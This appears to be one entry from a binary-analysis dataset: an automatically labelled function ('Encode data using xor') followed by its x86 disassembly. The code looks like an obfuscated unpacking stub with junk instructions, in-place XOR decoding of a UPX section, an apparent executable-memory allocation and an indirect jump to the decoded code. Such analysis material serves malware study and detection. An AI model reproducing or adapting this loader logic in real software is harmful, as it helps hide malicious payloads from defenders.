Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xed4e53df
inc esi
add esi, 1
or esi, esi
popal
or esi, edx
or esi, esi
sub esi, edx
mov edx, 0
mov ebx, ecx
and esi, eax
add eax, esi
or esi, eax
mov edi, ebx
dec esi
not eax
mov ecx, edi
sub esi, 0xc4e15b1e
add esi, 0x4fc06ac1
sub eax, 0x414e05ec
inc edx
mov eax, esi
sub esi, eax
cmp edx, 0x1002204
jne 0x47b44f
or esi, eax
sub eax, 0x56598435
mov esi, 0x499798f9
sub edx, 0xce3ffba7
mov ecx, 0x47b21e
not ebx
dec edi
mov edx, 0x47b412
sub edi, ebx
mov ebx, 0x74e89566
mov eax, dword [ecx]
mov edi, 0x6e8d632a
dec ebx
and eax, 0xff
sub esi, edi
add ebx, 1
sub edi, esi
xor dword [edx], eax
dec edi
mov ebx, edi
not ebx
inc edx
mov ebx, 0x20cee70b
or ebx, edi
inc ecx
sub edi, 0x87364a68
mov ebx, esi
cmp edx, entry0
jl 0x47b4a8
sub ebx, esi
add edi, 0xa01e87fc
sub edi, 0x3c9be46a
add edi, 0x77f01826
sub ebx, esi
inc ebx
and edx, edx
dec ecx
mov esi, 0x47b416
mov ecx, 0xdeeb8b50
dec edx
add edx, 0xeb21f37
mov esi, dword [esi]
not ebx
mov edi, 0xa51dc92a
add ecx, ebx
mov esi, dword [esi]
sub ebx, ecx
add ebx, ebx
push esi
sub ecx, edi
add ecx, ebx
mov esi, 0x47b412
dec edi
add edi, ebx
add edi, 0xf25e18a9
mov esi, dword [esi]
add edi, 0xe50a8ea1
add ecx, 0xa3976182
mov esi, dword [esi]
or ecx, edx
mov ebx, 0xa4c3c1a3
not edx
push 0x47b41a
add ebx, edx
mov ecx, 0x8d89188
call esi
mov ebx, 0xcfccdf87
add edx, edx
pop esi
not ebx
add ebx, edx
push 0x47b427
add edx, 0xd9214613
mov edi, ecx
push eax
mov edi, ebx
mov ecx, edi
call esi
dec ebx
mov edx, 0x14ad6c7d
push 0x40
add ebx, 0x279f2f62
add ebx, 0x7211b241
add ebx, 0x8aee0d86
push 0x3000
sub edx, 0x571163f8
add edi, ebx
sub esp, 4
mov dword [esp], 0x20000143
sub ebx, 0x9994cc91
and ecx, ebx
sub esp, 4
mov dword [esp], 0
dec edx
mov edx, ecx
mov edi, 0xf306a4fe
call eax
sub edi, 0x7e18ff27
sub ecx, edi
add eax, 0x20000081
sub edi, edx
add edi, ebx
mov esi, 0x485eb8f1
and ecx, ecx
sub edx, 0xc57f8cc4
mov edx, 0x99891500
mov dword [eax], esi
mov edi, edx
sub ecx, 1
mov esi, dword [eax]
mov ecx, 0xfc56d00c
and ebx, edi
sub edi, ecx
cmp esi, 0x485eb8f1
je 0x47b612
mov ecx, 0
mov byte [ecx], bl
mov edx, 0xd0b0b419
inc edx
mov edi, ebx
not edi
add edi, ebx
or edx, esi
sub edx, 0x8e249236
mov edi, section.UPX1
dec esi
add edx, 0x76b3221a
mov esi, 0xe12bee69
mov eax, 0x47b21d
not edx
add esi, 0x46be3052
mov ecx, 0
add esi, 0xb1da6c5b
add esi, esi
mov ebx, 0x47b21e
mov esi, 0x33890beb
and esi, esi
lea ebx, [ecx + ebx]
add esi, esi
add edx, esi
inc edx
mov ebx, dword [ebx]
sub edx, 0x3d4e74f3
inc esi
mov esi, edx
and ebx, 0xff
sub edx, esi
add esi, esi
inc edx
inc ecx
sub edx, 0x2e992ff8
inc edx
mov edx, esi
cmp ecx, 0x1f4
jne 0x47b692
mov ecx, 0
sub edx, 0x41ac1c0d
add esi, edx
add esi, 0xf96f9ae6
add esi, esi
add edx, esi
dec edx
xor dword [edi], ebx
sub edx, esi
sub edx, esi
mov esi, edx
add edi, 2
and edx, esi
add edx, edx
add edx, esi
cmp edi, eax
jl 0x47b651
dec edx
sub edx, 0xc89c4ed5
mov esi, edx
sub edx, esi
mov esi, section.UPX1
add eax, eax
inc ecx
not eax
mov edx, section.UPX1
sub ecx, eax
not ecx
mov edi, 0x47b21d
mov ecx, eax
and ecx, ecx
mov ecx, eax
mov ebx, 0
sub eax, 0xf564c2b1
not eax
mov ecx, eax
mov bl, byte [edx]
sub eax, 0x57338860
add ecx, ecx
mov byte [esi], bl
add eax, 0x1705656b
and eax, ecx
inc esi
not eax
not eax
add edx, 2
or eax, ecx
add ecx, 0x751045e4
sub eax, 0x26dcc6a9
cmp edx, edi
jle 0x47b6f9
add eax, ecx
and ecx, eax
and eax, eax
inc edx
mov edx, 0x6f7fd715
push 0x45e6a0
sub edx, 0x4954009b
mov esi, 0xc34a89d2
ret